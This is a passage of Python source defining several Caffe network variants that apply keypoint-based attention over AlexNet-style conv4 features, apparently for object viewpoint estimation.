conv2_out_name = add_wrapped_conv_layer(n, 'conv2', conv1_out_name, conv2_param, pooling_param=pool2_param, lrn_param=DEFAULT_LRN_PARAM)
conv3_out_name = add_wrapped_conv_layer(n, 'conv3', conv2_out_name, conv3_param)
conv4_out_name = add_wrapped_conv_layer(n, 'conv4', conv3_out_name, conv4_param, param=DEFAULT_DECAY_PARAM)
conv5_out_name = add_wrapped_conv_layer(n, 'conv5', conv4_out_name, conv5_param, param=DEFAULT_DECAY_PARAM, pooling_param=pool5_param)
fc6_out_name = add_wrapped_fc_layer(n, 'fc6', conv5_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
fc7_out_name = add_wrapped_fc_layer(n, 'fc7', fc6_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Keypoint map features
scale_keypoint_map_param = dict(filler=dict(value=1/(227.0 * np.sqrt(2))))
pool_keypoint_map_param = dict(pool=P.Pooling.MAX, kernel_size=5, stride=5, pad=3)
reshape_keypoint_map_param = dict(shape=dict(dim=[0, 2116, 1, 1]))
n['scale-keypoint-map'] = L.Scale(name='scale-keypoint-map', bottom='keypoint_map', param=NO_LEARN_PARAM, scale_param=scale_keypoint_map_param)
n['pool-keypoint-map'] = L.Pooling(name='pool-keypoint-map', bottom='scale-keypoint-map', pooling_param=pool_keypoint_map_param)
fc_keypoint_map_name = add_wrapped_fc_layer(n, 'fc-keypoint-map', 'pool-keypoint-map', 2116, use_relu=False)
# Keypoint class features
fc_keypoint_class_name = add_wrapped_fc_layer(n, 'fc-keypoint-class', 'keypoint_class', 34, use_relu=False)
# Attention map
# keypoint_concat_param = dict(axis=1)
attn_param = dict(shape=dict(dim=[0, 1, 13, 13]))
n['keypoint-concat'] = L.Concat(name='keypoint-concat', bottom=[fc_keypoint_map_name, fc_keypoint_class_name])
fc_keypoint_concat_name = add_wrapped_fc_layer(n, 'fc-keypoint-concat', 'keypoint-concat', 169, use_relu=False)
n['fc-keypoint-concat-softmax'] = L.Softmax(name='fc-keypoint-concat-softmax', bottom=fc_keypoint_concat_name)
n['attn'] = L.Reshape(name='attn', bottom='fc-keypoint-concat-softmax', reshape_param=attn_param)
# Get conv4 attention vector. First, slice channels
add_slice_layer(n, 'conv4', ['conv4_slice_' + str(i) for i in range(384)], dict(
axis=1, slice_point=range(1, 384)
))
# Then weigh each channel by the map
for i in range(384):
slice_bottom_name = 'conv4_slice_' + str(i)
top_name = 'conv4_weighted_' + str(i)
n[top_name] = L.Eltwise(name=top_name, bottom=[slice_bottom_name, 'attn'], eltwise_param=dict(operation=P.Eltwise.PROD))
# Combine weighted maps
n['conv4_weighted'] = L.Concat(name='conv4_weighted', bottom=['conv4_weighted_' + str(i) for i in range(384)])
# Sum across width
add_slice_layer(n, 'conv4_weighted', ['conv4_weighted_slice_' + str(i) for i in range(13)], dict(
axis=3, slice_point=range(1, 13)
))
n['conv4_weighted_a'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Sum across height
add_slice_layer(n, 'conv4_weighted_a', ['conv4_weighted_a_slice_' + str(i) for i in range(13)], dict(
axis=2, slice_point=range(1, 13)
))
n['conv4_weighted_b'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_a_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Finally, flatten to get attention vector
n['conv4-a'] = L.Flatten(name='conv4-a', bottom='conv4_weighted_b')
# Fusion
n['fc7-concat'] = L.Concat(name='fc7-concat', bottom=[fc7_out_name, 'conv4-a'])
fc8_out_name = add_wrapped_fc_layer(n, 'fc8', 'fc7-concat', 4096, param=DEFAULT_DECAY_PARAM, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Prediction and loss layers
add_prediction_layers(n, 'pred_', fc8_out_name, param=DEFAULT_DECAY_PARAM)
add_loss_acc_layers(n, ['pred_', 'label_'])
return n.to_proto()
'''
Gaussian keypoint map
'''
def create_model_chcnn_gaussian(lmdb_paths, batch_size, crop_size=gv.g_images_resize_dim, imagenet_mean_file=gv.g_image_mean_binaryproto_file):
train_data_lmdb_path = lmdb_paths[0]
keypoint_map_lmdb_path = lmdb_paths[1]
keypoint_class_lmdb_path = lmdb_paths[2]
train_label_lmdb_path = lmdb_paths[3]
data_transform_param = dict(
crop_size=crop_size,
mean_file=imagenet_mean_file,
mirror=False
)
n = caffe.NetSpec()
# Data layers
n['data'] = L.Data(name='data', batch_size=batch_size, backend=P.Data.LMDB, source=train_data_lmdb_path, transform_param=data_transform_param)
n['keypoint_map'] = L.Data(name='keypoint_map', batch_size=batch_size, backend=P.Data.LMDB, source=keypoint_map_lmdb_path)
n['keypoint_class'] = L.Data(name='keypoint_class', batch_size=batch_size, backend=P.Data.LMDB, source=keypoint_class_lmdb_path)
n['label'] = L.Data(name='label', batch_size=batch_size, backend=P.Data.LMDB, source=train_label_lmdb_path)
n['label_class'], n['label_azimuth'], n['label_elevation'], n['label_tilt'] = L.Slice(name='labe-slice', bottom='label', ntop=4, slice_param=dict(
slice_dim=1, slice_point=[1,2,3]
))
n['silence-label_class'] = L.Silence(name='silence-label_class', bottom='label_class', ntop=0)
# Image (Render for CNN) features
conv1_param = dict(num_output=96, kernel_size=11, stride=4)
pool1_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv2_param = dict(num_output=256, pad=2, kernel_size=5, group=2)
pool2_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv3_param = dict(num_output=384, pad=1, kernel_size=3)
conv4_param = dict(num_output=384, pad=1, kernel_size=3, group=2)
conv5_param = dict(num_output=256, pad=1, kernel_size=3, group=2)
pool5_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv1_out_name = add_wrapped_conv_layer(n, 'conv1', 'data', conv1_param, pooling_param=pool1_param, lrn_param=DEFAULT_LRN_PARAM)
conv2_out_name = add_wrapped_conv_layer(n, 'conv2', conv1_out_name, conv2_param, pooling_param=pool2_param, lrn_param=DEFAULT_LRN_PARAM)
conv3_out_name = add_wrapped_conv_layer(n, 'conv3', conv2_out_name, conv3_param)
conv4_out_name = add_wrapped_conv_layer(n, 'conv4', conv3_out_name, conv4_param, param=DEFAULT_DECAY_PARAM)
conv5_out_name = add_wrapped_conv_layer(n, 'conv5', conv4_out_name, conv5_param, param=DEFAULT_DECAY_PARAM, pooling_param=pool5_param)
fc6_out_name = add_wrapped_fc_layer(n, 'fc6', conv5_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
fc7_out_name = add_wrapped_fc_layer(n, 'fc7', fc6_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Keypoint map features
pool_keypoint_map_param = dict(pool=P.Pooling.MAX, kernel_size=5, stride=5, pad=3)
n['pool-keypoint-map'] = L.Pooling(name='pool-keypoint-map', bottom='keypoint_map', pooling_param=pool_keypoint_map_param)
fc_keypoint_map_name = add_wrapped_fc_layer(n, 'fc-keypoint-map', 'pool-keypoint-map', 2116, use_relu=False)
# Keypoint class features
fc_keypoint_class_name = add_wrapped_fc_layer(n, 'fc-keypoint-class', 'keypoint_class', 34, use_relu=False)
# Attention map
# keypoint_concat_param = dict(axis=1)
attn_param = dict(shape=dict(dim=[0, 1, 13, 13]))
n['keypoint-concat'] = L.Concat(name='keypoint-concat', bottom=[fc_keypoint_map_name, fc_keypoint_class_name])
fc_keypoint_concat_name = add_wrapped_fc_layer(n, 'fc-keypoint-concat', 'keypoint-concat', 169, use_relu=False)
n['fc-keypoint-concat-softmax'] = L.Softmax(name='fc-keypoint-concat-softmax', bottom=fc_keypoint_concat_name)
n['attn'] = L.Reshape(name='attn', bottom='fc-keypoint-concat-softmax', reshape_param=attn_param)
# Get conv4 attention vector. First, slice channels
add_slice_layer(n, 'conv4', ['conv4_slice_' + str(i) for i in range(384)], dict(
axis=1, slice_point=range(1, 384)
))
# Then weigh each channel by the map
for i in range(384):
slice_bottom_name = 'conv4_slice_' + str(i)
top_name = 'conv4_weighted_' + str(i)
n[top_name] = L.Eltwise(name=top_name, bottom=[slice_bottom_name, 'attn'], eltwise_param=dict(operation=P.Eltwise.PROD))
# Combine weighted maps
n['conv4_weighted'] = L.Concat(name='conv4_weighted', bottom=['conv4_weighted_' + str(i) for i in range(384)])
# Sum across width
add_slice_layer(n, 'conv4_weighted', ['conv4_weighted_slice_' + str(i) for i in range(13)], dict(
axis=3, slice_point=range(1, 13)
))
n['conv4_weighted_a'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Sum across height
add_slice_layer(n, 'conv4_weighted_a', ['conv4_weighted_a_slice_' + str(i) for i in range(13)], dict(
axis=2, slice_point=range(1, 13)
))
n['conv4_weighted_b'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_a_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Finally, flatten to get attention vector
n['conv4-a'] = L.Flatten(name='conv4-a', bottom='conv4_weighted_b')
# Fusion
n['fc7-concat'] = L.Concat(name='fc7-concat', bottom=[fc7_out_name, 'conv4-a'])
fc8_out_name = add_wrapped_fc_layer(n, 'fc8', 'fc7-concat', 4096, param=DEFAULT_DECAY_PARAM, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Prediction and loss layers
add_prediction_layers(n, 'pred_', fc8_out_name, param=DEFAULT_DECAY_PARAM)
add_loss_acc_layers(n, ['pred_', 'label_'])
return n.to_proto()
'''
Fixed uniform weight map
'''
def create_model_uniform_weights(lmdb_paths, batch_size, crop_size=gv.g_images_resize_dim, imagenet_mean_file=gv.g_image_mean_binaryproto_file):
train_data_lmdb_path = lmdb_paths[0]
keypoint_map_lmdb_path = lmdb_paths[1]
keypoint_class_lmdb_path = lmdb_paths[2]
train_label_lmdb_path = lmdb_paths[3]
data_transform_param = dict(
crop_size=crop_size,
mean_file=imagenet_mean_file,
mirror=False
)
n = caffe.NetSpec()
# Data layers
n['data'] = L.Data(name='data', batch_size=batch_size, backend=P.Data.LMDB, source=train_data_lmdb_path, transform_param=data_transform_param)
n['keypoint_map'] = L.Data(name='keypoint_map', batch_size=batch_size, backend=P.Data.LMDB, source=keypoint_map_lmdb_path)
n['keypoint_class'] = L.Data(name='keypoint_class', batch_size=batch_size, backend=P.Data.LMDB, source=keypoint_class_lmdb_path)
n['label'] = L.Data(name='label', batch_size=batch_size, backend=P.Data.LMDB, source=train_label_lmdb_path)
n['label_class'], n['label_azimuth'], n['label_elevation'], n['label_tilt'] = L.Slice(name='labe-slice', bottom='label', ntop=4, slice_param=dict(
slice_dim=1, slice_point=[1,2,3]
))
n['silence-label_class'] = L.Silence(name='silence-label_class', bottom='label_class', ntop=0)
# Image (Render for CNN) features
conv1_param = dict(num_output=96, kernel_size=11, stride=4)
pool1_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv2_param = dict(num_output=256, pad=2, kernel_size=5, group=2)
pool2_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv3_param = dict(num_output=384, pad=1, kernel_size=3)
conv4_param = dict(num_output=384, pad=1, kernel_size=3, group=2)
conv5_param = dict(num_output=256, pad=1, kernel_size=3, group=2)
pool5_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv1_out_name = add_wrapped_conv_layer(n, 'conv1', 'data', conv1_param, pooling_param=pool1_param, lrn_param=DEFAULT_LRN_PARAM)
conv2_out_name = add_wrapped_conv_layer(n, 'conv2', conv1_out_name, conv2_param, pooling_param=pool2_param, lrn_param=DEFAULT_LRN_PARAM)
conv3_out_name = add_wrapped_conv_layer(n, 'conv3', conv2_out_name, conv3_param)
conv4_out_name = add_wrapped_conv_layer(n, 'conv4', conv3_out_name, conv4_param, param=DEFAULT_DECAY_PARAM)
conv5_out_name = add_wrapped_conv_layer(n, 'conv5', conv4_out_name, conv5_param, param=DEFAULT_DECAY_PARAM, pooling_param=pool5_param)
fc6_out_name = add_wrapped_fc_layer(n, 'fc6', conv5_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
fc7_out_name = add_wrapped_fc_layer(n, 'fc7', fc6_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Keypoint map features
scale_keypoint_map_param = dict(filler=dict(value=1/227.0))
pool_keypoint_map_param = dict(pool=P.Pooling.MAX, kernel_size=5, stride=5, pad=3)
reshape_keypoint_map_param = dict(shape=dict(dim=[0, 2116, 1, 1]))
n['scale-keypoint-map'] = L.Scale(name='scale-keypoint-map', bottom='keypoint_map', param=NO_LEARN_PARAM, scale_param=scale_keypoint_map_param)
n['pool-keypoint-map'] = L.Pooling(name='pool-keypoint-map', bottom='scale-keypoint-map', pooling_param=pool_keypoint_map_param)
n['reshape-keypoint-map'] = L.Reshape(name='reshape-keypoint-map', bottom='pool-keypoint-map', reshape_param=reshape_keypoint_map_param)
# Attention map
keypoint_concat_param = dict(axis=1)
attn_param = dict(shape=dict(dim=[0, 1, 13, 13]))
constant_keypoint_concat_param = dict(filler=dict(value=0))
n['keypoint-concat'] = L.Concat(name='keypoint-concat', bottom=['reshape-keypoint-map', 'keypoint_class'], concat_param=keypoint_concat_param)
fc_keypoint_concat_name = add_wrapped_fc_layer(n, 'fc-keypoint-concat', 'keypoint-concat', 169, use_relu=False)
n['constant-keypoint-concat'] = L.Scale(name='constant-keypoint-concat', bottom=fc_keypoint_concat_name, param=NO_LEARN_PARAM, scale_param=constant_keypoint_concat_param)
n['fc-keypoint-concat-softmax'] = L.Softmax(name='fc-keypoint-concat-softmax', bottom='constant-keypoint-concat')
n['attn'] = L.Reshape(name='attn', bottom='fc-keypoint-concat-softmax', reshape_param=attn_param)
# Get conv4 attention vector. First, slice channels
add_slice_layer(n, 'conv4', ['conv4_slice_' + str(i) for i in range(384)], dict(
axis=1, slice_point=range(1, 384)
))
# Then weigh each channel by the map
for i in range(384):
slice_bottom_name = 'conv4_slice_' + str(i)
top_name = 'conv4_weighted_' + str(i)
n[top_name] = L.Eltwise(name=top_name, bottom=[slice_bottom_name, 'attn'], eltwise_param=dict(operation=P.Eltwise.PROD))
# Combine weighted maps
n['conv4_weighted'] = L.Concat(name='conv4_weighted', bottom=['conv4_weighted_' + str(i) for i in range(384)])
# Sum across width
add_slice_layer(n, 'conv4_weighted', ['conv4_weighted_slice_' + str(i) for i in range(13)], dict(
axis=3, slice_point=range(1, 13)
))
n['conv4_weighted_a'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Sum across height
add_slice_layer(n, 'conv4_weighted_a', ['conv4_weighted_a_slice_' + str(i) for i in range(13)], dict(
axis=2, slice_point=range(1, 13)
))
n['conv4_weighted_b'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_a_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Finally, flatten to get attention vector
n['conv4-a'] = L.Flatten(name='conv4-a', bottom='conv4_weighted_b')
# Fusion
n['fc7-concat'] = L.Concat(name='fc7-concat', bottom=[fc7_out_name, 'conv4-a'])
fc8_out_name = add_wrapped_fc_layer(n, 'fc8', 'fc7-concat', 4096, param=DEFAULT_DECAY_PARAM, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Prediction and loss layers
add_prediction_layers(n, 'pred_', fc8_out_name, param=DEFAULT_DECAY_PARAM)
add_loss_acc_layers(n, ['pred_', 'label_'])
return n.to_proto()
'''
Fixed Gaussian weight map
'''
def create_model_gaussian_weights(lmdb_paths, batch_size, crop_size=gv.g_images_resize_dim, imagenet_mean_file=gv.g_image_mean_binaryproto_file):
train_data_lmdb_path = lmdb_paths[0]
gaussian_attn_map_lmdb_path = lmdb_paths[1]
train_label_lmdb_path = lmdb_paths[2]
data_transform_param = dict(
crop_size=crop_size,
mean_file=imagenet_mean_file,
mirror=False
)
n = caffe.NetSpec()
# Data layers
n['data'] = L.Data(name='data', batch_size=batch_size, backend=P.Data.LMDB, source=train_data_lmdb_path, transform_param=data_transform_param)
n['attn'] = L.Data(name='attn', batch_size=batch_size, backend=P.Data.LMDB, source=gaussian_attn_map_lmdb_path)
n['label'] = L.Data(name='label', batch_size=batch_size, backend=P.Data.LMDB, source=train_label_lmdb_path)
n['label_class'], n['label_azimuth'], n['label_elevation'], n['label_tilt'] = L.Slice(name='labe-slice', bottom='label', ntop=4, slice_param=dict(
slice_dim=1, slice_point=[1,2,3]
))
n['silence-label_class'] = L.Silence(name='silence-label_class', bottom='label_class', ntop=0)
# Image (Render for CNN) features
conv1_param = dict(num_output=96, kernel_size=11, stride=4)
pool1_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv2_param = dict(num_output=256, pad=2, kernel_size=5, group=2)
pool2_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv3_param = dict(num_output=384, pad=1, kernel_size=3)
conv4_param = dict(num_output=384, pad=1, kernel_size=3, group=2)
conv5_param = dict(num_output=256, pad=1, kernel_size=3, group=2)
pool5_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv1_out_name = add_wrapped_conv_layer(n, 'conv1', 'data', conv1_param, pooling_param=pool1_param, lrn_param=DEFAULT_LRN_PARAM)
conv2_out_name = add_wrapped_conv_layer(n, 'conv2', conv1_out_name, conv2_param, pooling_param=pool2_param, lrn_param=DEFAULT_LRN_PARAM)
conv3_out_name = add_wrapped_conv_layer(n, 'conv3', conv2_out_name, conv3_param)
conv4_out_name = add_wrapped_conv_layer(n, 'conv4', conv3_out_name, conv4_param, param=DEFAULT_DECAY_PARAM)
conv5_out_name = add_wrapped_conv_layer(n, 'conv5', conv4_out_name, conv5_param, param=DEFAULT_DECAY_PARAM, pooling_param=pool5_param)
fc6_out_name = add_wrapped_fc_layer(n, 'fc6', conv5_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
fc7_out_name = add_wrapped_fc_layer(n, 'fc7', fc6_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Get conv4 attention vector. First, slice channels
add_slice_layer(n, 'conv4', ['conv4_slice_' + str(i) for i in range(384)], dict(
axis=1, slice_point=range(1, 384)
))
# Then weigh each channel by the map
for i in range(384):
slice_bottom_name = 'conv4_slice_' + str(i)
top_name = 'conv4_weighted_' + str(i)
n[top_name] = L.Eltwise(name=top_name, bottom=[slice_bottom_name, 'attn'], eltwise_param=dict(operation=P.Eltwise.PROD))
# Combine weighted maps
n['conv4_weighted'] = L.Concat(name='conv4_weighted', bottom=['conv4_weighted_' + str(i) for i in range(384)])
# Sum across width
add_slice_layer(n, 'conv4_weighted', ['conv4_weighted_slice_' + str(i) for i in range(13)], dict(
axis=3, slice_point=range(1, 13)
))
n['conv4_weighted_a'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Sum across height
add_slice_layer(n, 'conv4_weighted_a', ['conv4_weighted_a_slice_' + str(i) for i in range(13)], dict(
axis=2, slice_point=range(1, 13)
))
n['conv4_weighted_b'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_a_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Finally, flatten to get attention vector
n['conv4-a'] = L.Flatten(name='conv4-a', bottom='conv4_weighted_b')
# Fusion
n['fc7-concat'] = L.Concat(name='fc7-concat', bottom=[fc7_out_name, 'conv4-a'])
fc8_out_name = add_wrapped_fc_layer(n, 'fc8', 'fc7-concat', 4096, param=DEFAULT_DECAY_PARAM, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Prediction and loss layers
add_prediction_layers(n, 'pred_', fc8_out_name, param=DEFAULT_DECAY_PARAM)
add_loss_acc_layers(n, ['pred_', 'label_'])
return n.to_proto()
'''
Weight map learned from keypoint map only
'''
def create_model_chcnn_kpm_only(lmdb_paths, batch_size, crop_size=gv.g_images_resize_dim, imagenet_mean_file=gv.g_image_mean_binaryproto_file):
train_data_lmdb_path = lmdb_paths[0]
keypoint_map_lmdb_path = lmdb_paths[1]
train_label_lmdb_path = lmdb_paths[2]
data_transform_param = dict(
crop_size=crop_size,
mean_file=imagenet_mean_file,
mirror=False
)
n = caffe.NetSpec()
# Data layers
n['data'] = L.Data(name='data', batch_size=batch_size, backend=P.Data.LMDB, source=train_data_lmdb_path, transform_param=data_transform_param)
n['keypoint_map'] = L.Data(name='keypoint_map', batch_size=batch_size, backend=P.Data.LMDB, source=keypoint_map_lmdb_path)
n['label'] = L.Data(name='label', batch_size=batch_size, backend=P.Data.LMDB, source=train_label_lmdb_path)
n['label_class'], n['label_azimuth'], n['label_elevation'], n['label_tilt'] = L.Slice(name='labe-slice', bottom='label', ntop=4, slice_param=dict(
slice_dim=1, slice_point=[1,2,3]
))
n['silence-label_class'] = L.Silence(name='silence-label_class', bottom='label_class', ntop=0)
# Image (Render for CNN) features
conv1_param = dict(num_output=96, kernel_size=11, stride=4)
pool1_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv2_param = dict(num_output=256, pad=2, kernel_size=5, group=2)
pool2_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv3_param = dict(num_output=384, pad=1, kernel_size=3)
conv4_param = dict(num_output=384, pad=1, kernel_size=3, group=2)
conv5_param = dict(num_output=256, pad=1, kernel_size=3, group=2)
pool5_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv1_out_name = add_wrapped_conv_layer(n, 'conv1', 'data', conv1_param, pooling_param=pool1_param, lrn_param=DEFAULT_LRN_PARAM)
conv2_out_name = add_wrapped_conv_layer(n, 'conv2', conv1_out_name, conv2_param, pooling_param=pool2_param, lrn_param=DEFAULT_LRN_PARAM)
conv3_out_name = add_wrapped_conv_layer(n, 'conv3', conv2_out_name, conv3_param)
conv4_out_name = add_wrapped_conv_layer(n, 'conv4', conv3_out_name, conv4_param, param=DEFAULT_DECAY_PARAM)
conv5_out_name = add_wrapped_conv_layer(n, 'conv5', conv4_out_name, conv5_param, param=DEFAULT_DECAY_PARAM, pooling_param=pool5_param)
fc6_out_name = add_wrapped_fc_layer(n, 'fc6', conv5_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
fc7_out_name = add_wrapped_fc_layer(n, 'fc7', fc6_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Keypoint map features
scale_keypoint_map_param = dict(filler=dict(value=1/227.0))
pool_keypoint_map_param = dict(pool=P.Pooling.MAX, kernel_size=5, stride=5, pad=3)
reshape_keypoint_map_param = dict(shape=dict(dim=[0, 2116, 1, 1]))
n['scale-keypoint-map'] = L.Scale(name='scale-keypoint-map', bottom='keypoint_map', param=NO_LEARN_PARAM, scale_param=scale_keypoint_map_param)
n['pool-keypoint-map'] = L.Pooling(name='pool-keypoint-map', bottom='scale-keypoint-map', pooling_param=pool_keypoint_map_param)
fc_keypoint_map_name = add_wrapped_fc_layer(n, 'fc-keypoint-map', 'pool-keypoint-map', 2116, use_relu=False)
# Attention map
attn_param = dict(shape=dict(dim=[0, 1, 13, 13]))
fc_keypoint_concat_name = add_wrapped_fc_layer(n, 'fc-keypoint-concat', fc_keypoint_map_name, 169, use_relu=False)
n['fc-keypoint-concat-softmax'] = L.Softmax(name='fc-keypoint-concat-softmax', bottom=fc_keypoint_concat_name)
n['attn'] = L.Reshape(name='attn', bottom='fc-keypoint-concat-softmax', reshape_param=attn_param)
# Get conv4 attention vector. First, slice channels
add_slice_layer(n, 'conv4', ['conv4_slice_' + str(i) for i in range(384)], dict(
axis=1, slice_point=range(1, 384)
))
# Then weigh each channel by the map
for i in range(384):
slice_bottom_name = 'conv4_slice_' + str(i)
top_name = 'conv4_weighted_' + str(i)
n[top_name] = L.Eltwise(name=top_name, bottom=[slice_bottom_name, 'attn'], eltwise_param=dict(operation=P.Eltwise.PROD))
# Combine weighted maps
n['conv4_weighted'] = L.Concat(name='conv4_weighted', bottom=['conv4_weighted_' + str(i) for i in range(384)])
# Sum across width
add_slice_layer(n, 'conv4_weighted', ['conv4_weighted_slice_' + str(i) for i in range(13)], dict(
axis=3, slice_point=range(1, 13)
))
n['conv4_weighted_a'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Sum across height
add_slice_layer(n, 'conv4_weighted_a', ['conv4_weighted_a_slice_' + str(i) for i in range(13)], dict(
axis=2, slice_point=range(1, 13)
))
n['conv4_weighted_b'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_a_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Finally, flatten to get attention vector
n['conv4-a'] = L.Flatten(name='conv4-a', bottom='conv4_weighted_b')
# Fusion
n['fc7-concat'] = L.Concat(name='fc7-concat', bottom=[fc7_out_name, 'conv4-a'])
fc8_out_name = add_wrapped_fc_layer(n, 'fc8', 'fc7-concat', 4096, param=DEFAULT_DECAY_PARAM, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Prediction and loss layers
add_prediction_layers(n, 'pred_', fc8_out_name, param=DEFAULT_DECAY_PARAM)
add_loss_acc_layers(n, ['pred_', 'label_'])
return n.to_proto()
'''
Weight map learned from keypoint class only
'''
def create_model_chcnn_kpc_only(lmdb_paths, batch_size, crop_size=gv.g_images_resize_dim, imagenet_mean_file=gv.g_image_mean_binaryproto_file):
train_data_lmdb_path = lmdb_paths[0]
keypoint_class_lmdb_path = lmdb_paths[1]
train_label_lmdb_path = lmdb_paths[2]
data_transform_param = dict(
crop_size=crop_size,
mean_file=imagenet_mean_file,
mirror=False
)
n = caffe.NetSpec()
# Data layers
n['data'] = L.Data(name='data', batch_size=batch_size, backend=P.Data.LMDB, source=train_data_lmdb_path, transform_param=data_transform_param)
n['keypoint_class'] = L.Data(name='keypoint_class', batch_size=batch_size, backend=P.Data.LMDB, source=keypoint_class_lmdb_path)
n['label'] = L.Data(name='label', batch_size=batch_size, backend=P.Data.LMDB, source=train_label_lmdb_path)
n['label_class'], n['label_azimuth'], n['label_elevation'], n['label_tilt'] = L.Slice(name='labe-slice', bottom='label', ntop=4, slice_param=dict(
slice_dim=1, slice_point=[1,2,3]
))
n['silence-label_class'] = L.Silence(name='silence-label_class', bottom='label_class', ntop=0)
# Image (Render for CNN) features
conv1_param = dict(num_output=96, kernel_size=11, stride=4)
pool1_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv2_param = dict(num_output=256, pad=2, kernel_size=5, group=2)
pool2_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv3_param = dict(num_output=384, pad=1, kernel_size=3)
conv4_param = dict(num_output=384, pad=1, kernel_size=3, group=2)
conv5_param = dict(num_output=256, pad=1, kernel_size=3, group=2)
pool5_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv1_out_name = add_wrapped_conv_layer(n, 'conv1', 'data', conv1_param, pooling_param=pool1_param, lrn_param=DEFAULT_LRN_PARAM)
conv2_out_name = add_wrapped_conv_layer(n, 'conv2', conv1_out_name, conv2_param, pooling_param=pool2_param, lrn_param=DEFAULT_LRN_PARAM)
conv3_out_name = add_wrapped_conv_layer(n, 'conv3', conv2_out_name, conv3_param)
conv4_out_name = add_wrapped_conv_layer(n, 'conv4', conv3_out_name, conv4_param, param=DEFAULT_DECAY_PARAM)
conv5_out_name = add_wrapped_conv_layer(n, 'conv5', conv4_out_name, conv5_param, param=DEFAULT_DECAY_PARAM, pooling_param=pool5_param)
fc6_out_name = add_wrapped_fc_layer(n, 'fc6', conv5_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
fc7_out_name = add_wrapped_fc_layer(n, 'fc7', fc6_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Keypoint class features
fc_keypoint_class_name = add_wrapped_fc_layer(n, 'fc-keypoint-class', 'keypoint_class', 34, use_relu=False)
# Attention map
attn_param = dict(shape=dict(dim=[0, 1, 13, 13]))
fc_keypoint_concat_name = add_wrapped_fc_layer(n, 'fc-keypoint-concat', fc_keypoint_class_name, 169, use_relu=False)
n['fc-keypoint-concat-softmax'] = L.Softmax(name='fc-keypoint-concat-softmax', bottom=fc_keypoint_concat_name)
n['attn'] = L.Reshape(name='attn', bottom='fc-keypoint-concat-softmax', reshape_param=attn_param)
# Get conv4 attention vector. First, slice channels
add_slice_layer(n, 'conv4', ['conv4_slice_' + str(i) for i in range(384)], dict(
axis=1, slice_point=range(1, 384)
))
# Then weigh each channel by the map
for i in range(384):
slice_bottom_name = 'conv4_slice_' + str(i)
top_name = 'conv4_weighted_' + str(i)
n[top_name] = L.Eltwise(name=top_name, bottom=[slice_bottom_name, 'attn'], eltwise_param=dict(operation=P.Eltwise.PROD))
# Combine weighted maps
n['conv4_weighted'] = L.Concat(name='conv4_weighted', bottom=['conv4_weighted_' + str(i) for i in range(384)])
# Sum across width
add_slice_layer(n, 'conv4_weighted', ['conv4_weighted_slice_' + str(i) for i in range(13)], dict(
axis=3, slice_point=range(1, 13)
))
n['conv4_weighted_a'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Sum across height
add_slice_layer(n, 'conv4_weighted_a', ['conv4_weighted_a_slice_' + str(i) for i in range(13)], dict(
axis=2, slice_point=range(1, 13)
))
